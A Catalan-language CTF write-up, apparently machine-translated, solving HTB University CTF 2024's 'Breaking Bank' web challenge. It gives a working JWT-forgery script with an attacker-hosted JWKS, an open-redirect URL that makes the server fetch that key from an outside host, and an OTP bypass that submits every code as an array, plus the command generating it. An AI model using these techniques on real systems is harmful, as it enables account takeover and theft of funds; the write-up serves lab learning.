Hola! Avui us explicaré la resolució del repte Breaking Bank de HTB University CTF 2024.
Abans de començar, si voleu provar el repte, el podeu trobar aquí.

Contingut

Submergem-nos!

Visió general del repte

Challenge Overview

Reconeixement inicial

El primer que vaig fer va ser mirar el lloc web. Tenim un formulari d'inici de sessió i registre:
Login Page
He fet el meu compte i he iniciat sessió. Tenim una plataforma de criptomoneda amb una visió general del mercat i una cartera en la qual el meu saldo està ajustat a zero:
Dashboard Overview
Portfolio View
També tenim altres 2 pestanyes interessants: amics i Transaccions.

Revisió del codi font

El codi font era bastant gran, així que el vaig prendre al revés: com puc arribar a la bandera?
S'ha cercat flag.txt al codi VS i ha trobat això:
import { getBalancesForUser } from "../services/coinService.js";
import fs from "fs/promises";

const FINANCIAL_CONTROLLER_EMAIL = "financial-controller@frontier-board.htb";

/**
 * Checks if the financial controller's CLCR wallet is drained
 * If drained, returns the flag.
 */
export const checkFinancialControllerDrained = async () => {
  const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
  const clcrBalance = balances.find((coin) => coin.symbol === "CLCR");

  if (!clcrBalance || clcrBalance.availableBalance <= 0) {
    const flag = (await fs.readFile("/flag.txt", "utf-8")).trim();
    return { drained: true, flag };
  }

  return { drained: false };
};
Veiem que podem obtenir la bandera si hem drenat la moneda CLCR (establir-la a 0) de l'usuari amb aquest correu electrònic: financial-controller@frontier-board.htb
Llavors, com ho podem fer?
Recordeu que tenim una pàgina de transacció, així que simplement podem transferir tota l'import d'aquesta moneda a un altre usuari, i l'aconseguim
A /src/pages/Transaction.tsx, heu trobat aquest punt final: /api/crypto/transaction
const handleTransaction = async () => {
    setLoading(true);
    try {
        const token = localStorage.getItem('jwt');
        await axios.post(
            '/api/crypto/transaction',
            {
                to: selectedFriend,
                coin: selectedCoin,
                amount: parseFloat(amount),
                otp: [otp],
            },
            { headers: { Authorization: `Bearer ${token}` } }
        );
Observeu que necessita un testimoni JWT? Comprovem el nostre testimoni a localStorage:
JWT Token in LocalStorage
Passant-lo a jwt.io, tenim:
Capçalera:
{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f",
  "jku": "http://127.0.0.1:1337/.well-known/jwks.json"
}
Cos:
{
  "email": "omar@h4ck.run",
  "iat": 1734301782
}
Observem aquest fitxer: http://127.0.0.1:1337/.well-known/jwks.json que ens porta això:
{
  "keys": [
    {
      "kty": "RSA",
      "n": "nKlRFvY860GmX834rrOTEe2sUpI....VMXMrXauRenQXCaRVJHw",
      "e": "AQAB",
      "alg": "RS256",
      "use": "sig",
      "kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f"
    }
  ]
}
Nota ràpida: JWKS (conjunts de claus web JSON) és un conjunt de claus que conté les claus públiques utilitzades per verificar qualsevol JWT emès per un servidor d'autorització. El paràmetre de capçalera jku (JWK Set URL) s'utilitza per recuperar aquestes claus.
Deixem-ho per a més tard i primer entenem la lògica

Anàlisi de la funció de verificació

(where the good stuff begins)
cercant a vscode per ZZMDX0ZZZ, tenim la funció ZverifyToken a Z/challenge/server/services/jwksService.js
export const verifyToken = async (token) => {
  try {
    const decodedHeader = jwt.decode(token, { complete: true });

    if (!decodedHeader || !decodedHeader.header) {
      throw new Error("Invalid token: Missing header");
    }

    const { kid, jku } = decodedHeader.header;

    if (!jku) {
      throw new Error("Invalid token: Missing header jku");
    }

    // TODO: is this secure enough?
    if (!jku.startsWith("http://127.0.0.1:1337/")) {
      throw new Error(
        "Invalid token: jku claim does not start with http://127.0.0.1:1337/"
      );
    }

    if (!kid) {
      throw new Error("Invalid token: Missing header kid");
    }

    if (kid !== KEY_ID) {
      return new Error("Invalid token: kid does not match the expected key ID");
    }

    let jwks;
    try {
      const response = await axios.get(jku);
      if (response.status !== 200) {
        throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
      }
      jwks = response.data;
    } catch (error) {
      throw new Error(`Error fetching JWKS from jku: ${error.message}`);
    }

    if (!jwks || !Array.isArray(jwks.keys)) {
      throw new Error("Invalid JWKS: Expected keys array");
    }

    const jwk = jwks.keys.find((key) => key.kid === kid);
    if (!jwk) {
      throw new Error("Invalid token: kid not found in JWKS");
    }

    if (jwk.alg !== "RS256") {
      throw new Error("Invalid key algorithm: Expected RS256");
    }

    if (!jwk.n || !jwk.e) {
      throw new Error("Invalid JWK: Missing modulus (n) or exponent (e)");
    }

    const publicKey = jwkToPem(jwk);

    const decoded = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
    return decoded;
  } catch (error) {
    console.error(`Token verification failed: ${error.message}`);
    throw error;
  }
};
La funció és bastant bàsica, però aquí hi ha algunes parts que apareixen:
aquí comprova si la capçalera jku comença amb http://127.0.0.1:1337/
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
  throw new Error(
    "Invalid token: jku claim does not start with http://127.0.0.1:1337/"
  );
}
El kid ha de coincidir amb el KEY_ID del servidor, que podem obtenir fàcilment des del nostre propi testimoni
if (kid !== KEY_ID) {
  return new Error("Invalid token: kid does not match the expected key ID");
}
Ara per la part interessant: rep algunes dades de l'enllaç de la capçalera jku, que al nostre testimoni era: http://127.0.0.1:1337/.well-known/jwks.json
const response = await axios.get(jku);

if (response.status !== 200) {
  throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}

jwks = response.data;
A continuació, la funció recupera el jwk el kid del qual coincideix amb el del servidor, després el passa a la funció jwkToPem per convertir-lo en una clau pública format PEM:
const publicKey = jwkToPem(jwk);
const jwkToPem = (jwk) => {
  if (jwk.kty !== "RSA") {
    throw new Error("Invalid JWK: Key type must be 'RSA'");
  }

  const key = {
    kty: jwk.kty,
    n: jwk.n.toString("base64url"),
    e: jwk.e.toString("base64url"),
  };

  const pem = crypto.createPublicKey({
    key,
    format: "jwk",
  });

  return pem.export({ type: "spki", format: "pem" });
};
La funció jwkToPem garanteix que la clau sigui del tipus RSA, converteix els seus components (n i e) a base64url i crea una clau pública PEM mitjançant el mòdul crypto del Node.
Aquest pas és important perquè utilitzarem un enfocament similar per elaborar la nostra pròpia clau més endavant.
ara estivem el que tenim fins ara:
  1. Objectiu: transferir tots els CLCR de financial-controller@frontier-board.htb per obtenir la bandera.
  2. Validació JWT: el servidor comprova l'URL jku i obté una clau (jwk) per verificar els testimonis.
  3. Planifica: allotja una clau falsa en un servidor controlat, fes que el servidor hi recuperi i forja un testimoni

Primer fem la nostra clau falsa allotjada

Vaig fer el següent guió, Anem-ho a poc a poc
import crypto from "crypto";
import jwt from "jsonwebtoken";
import { v4 as uuidv4 } from "uuid";

// Key generation parameters
const KEY_ID = "3fdd9667-40e2-4633-b1c0-d1a74ea47d8f"; // Unique Key ID for the JWK

// Generate RSA key pair
const { privateKey, publicKey } = crypto.generateKeyPairSync("rsa", {
  modulusLength: 2048,
  publicKeyEncoding: { type: "spki", format: "pem" },
  privateKeyEncoding: { type: "pkcs8", format: "pem" },
});

// Function to generate JWKS (JSON Web Key Set)
const generateJWKS = () => {
  const publicKeyObject = crypto.createPublicKey(publicKey);
  const publicJwk = publicKeyObject.export({ format: "jwk" });

  const jwk = {
    kty: "RSA",
    ...publicJwk,
    alg: "RS256",
    use: "sig",
    kid: KEY_ID,
  };

  return {
    keys: [jwk],
  };
};

// Function to generate JWT token
const generateJWT = () => {
  const payload = {
    email: "financial-controller@frontier-board.htb",
    iat: 1734120167,
  };

  const header = {
    alg: "RS256",
    typ: "JWT",
    kid: KEY_ID,
    jku: "YOUR_HOSTED_KEY_URL",
  };

  const token = jwt.sign(payload, privateKey, {
    algorithm: "RS256",
    header: header,
  });

  return token;
};

// Generate JWT and JWKS
const token = generateJWT();
const jwks = generateJWKS();

// Log the results to the console
console.log("JWT Token:", token);
console.log("JWKS:", JSON.stringify(jwks, null, 2));
  1. Generació de claus:
    • Genera un parell de claus RSA (privateKey i publicKey) per signar i verificar fitxes.
    • KEY_ID és un identificador únic per a la clau (l'obté del vostre testimoni)
  2. JWKS (conjunt de claus web JSON):
    • Converteix el publicKey a un format JWK (clau web JSON).
    • Afegeix metadades (alg, use, Zkid)
  3. JWT (Token web JSON):
    • Crea un testimoni amb una càrrega útil (email i iat).
  • header personalitzat inclou:
    • kid: coincideix amb l'identificador de la clau (KEY_ID) (assegureu-vos de posar la vostra)
    • jku: URL que apunta al fitxer JWKS fals.
    • Signa el testimoni amb la clau privada.
  1. Sortida:
    • Registra el JWT i el JWKS falsificats per utilitzar-los en l'atac.
Si ho has provat... no funcionarà, saps per què? Recordeu el
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
  throw new Error(
    "Invalid token: jku claim does not start with http://127.0.0.1:1337/"
  );
}
ha de començar per http://127.0.0.1:1337/
però com podem fer-lo recuperar del nostre servidor, ha de començar amb això??? La resposta és una redirecció oberta
Així que una mica de cerca (també aquests comentaris // TODO van facilitar la localització de les coses correctes) trobem un fitxer analytics.js amb això dins
fastify.get("/redirect", async (req, reply) => {
  const { url, ref } = req.query;

  if (!url || !ref) {
    return reply.status(400).send({ error: "Missing URL or ref parameter" });
  }
  // TODO: Should we restrict the URLs we redirect users to?
  try {
    await trackClick(ref, decodeURIComponent(url));
    reply.header("Location", decodeURIComponent(url)).status(302).send();
  } catch (error) {
    console.error("[Analytics] Error during redirect:", error.message);
    reply.status(500).send({ error: "Failed to track analytics data." });
  }
});
Aquesta és una redirecció directa Així és com farem que el servidor recuperi la nostra clau allotjada Podeu utilitzar ngrok, però he allotjat el meu al meu lloc web: https://h4ck.run/jwks.json L'URL final tindrà aquest aspecte:
http://127.0.0.1:1337/api/analytics/redirect?url=https://h4ck.run/jwks.json/&ref=dummy
Tingueu en compte que el maniquí ref és necessari per redirigir
Nota: aquest script genera les seves claus de forma dinàmica a cada execució, així que assegureu-vos d'utilitzar el testimoni adequat amb la seva clau allotjada correcta
Ara, com que finalment hem aconseguit el nostre testimoni, provem-lo

Aconseguint accés

Ara amb el nostre testimoni falsificat, comprovem si va funcionar:
Portfolio After Token
Bonic! El valor de la nostra cartera ja no és zero, la qual cosa vol dir que hi vam entrar!

Aconseguint la bandera

Va fer un altre compte i l'ha afegit com a amic per transferir les monedes. Però quan intenteu transferir...
Burp Request
Encara cal obviar l'OTP. Mirant otpMiddleware.js:
export const otpMiddleware = () => {
  return async (req, reply) => {
    const userId = req.user.email;
    const { otp } = req.body;

    // ...

    // TODO: Is this secure enough?
    if (!otp.includes(validOtp)) {
      reply.status(401).send({ error: "Invalid OTP." });
      return;
    }
  };
};
Està utilitzant Zincludes()!
Si envieu un otp simulat i veieu la sol·licitud en burp, podreu veure que l'otp s'envia en una matriu
burp
Així que simplement feu i arregleu amb totes les opcions possibles i ho teniu
["0001","0002","0003","0004","0005"..."9999"]
L'ordre per generar-lo:
seq -f "\"%04g\"" 1 9999 | paste -sd "," | sed 's/^/[/' | sed 's/$/]/' > otp.json
Per copiar-lo feu servir:
cat otp.json | xclip -selection clipboard
Nota: poseu-lo a ruc suprimint la matriu existent i posant la vostra. No el poseu directament a l'entrada perquè es tractarà com una cadena en aquesta matriu, ja que podeu veure que l'otp es va passar com una cadena
success
flag
I aquí tenim la nostra bandera!
Bandera: HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_789dfb9e1ce0f5ca7741ba640da6ce29}

Assoliment

Estic orgullós de compartir que el nostre equip es va classificar entre els 200 millors d'aquest CTF! Aquí teniu el certificat d'assoliment:
HTB University CTF 2024 Certificate

Punts clau per emportar

Aquest repte tenia una mica de tot:
  1. Coses de JWT i JWKS
  2. Vulnerabilitat de redirecció oberta
  3. Eludir OTP mitjançant trucs de matriu
Em va agradar molt resoldre aquest! Espero que us hagi agradat l'escrit. Ens veiem a la propera!
psst.. pots donar-me suport a Ko-fi aquí 👀. gràcies!